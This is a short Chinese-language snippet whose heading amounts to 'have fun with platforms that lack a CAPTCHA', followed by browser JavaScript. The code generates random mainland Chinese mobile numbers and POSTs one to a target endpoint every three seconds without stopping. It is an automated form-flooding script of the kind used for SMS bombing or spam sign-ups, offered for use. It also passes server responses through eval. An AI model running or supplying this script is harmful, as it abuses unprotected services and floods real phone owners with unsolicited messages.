1. 针对没有验证码的平台玩一玩
var randomCode = function (len,dict) {
for (var i = 0,rs = ''; i < len; i++)
rs += dict.charAt(Math.floor(Math.random() * 100000000) % dict.length);
return rs;
}
var randomPhoneNumber = function(){
return [1,randomCode(2,'37958'),randomCode(4,'0123456789'),randomCode(4,'0123456789')].join('');
};
var xhr;
function createXMLHttpRequest() {
if (window.ActiveXObject) {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
}
}
function handleStateChange(call) {
if (xhr.readyState == 4) {
if (xhr.status == 200 || xhr.status == 0) {
var result = xhr.response;
var obj = eval('(' + result + ')');
console.log(call+':-->Ret-->',obj)
}
}
}
var send = function (api,key,phone){
var FileController = api;
var form = new FormData();
form.append(''+key+'', phone);
createXMLHttpRequest();
xhr.onreadystatechange = function(){ handleStateChange(phone) };
xhr.open("post", FileController, true);
xhr.send(form);
return false;
}
function Start()
{
send("https://baidu.com",'mobile',randomPhoneNumber());
setTimeout('Start()',3000);
}
setTimeout('Start()',5000);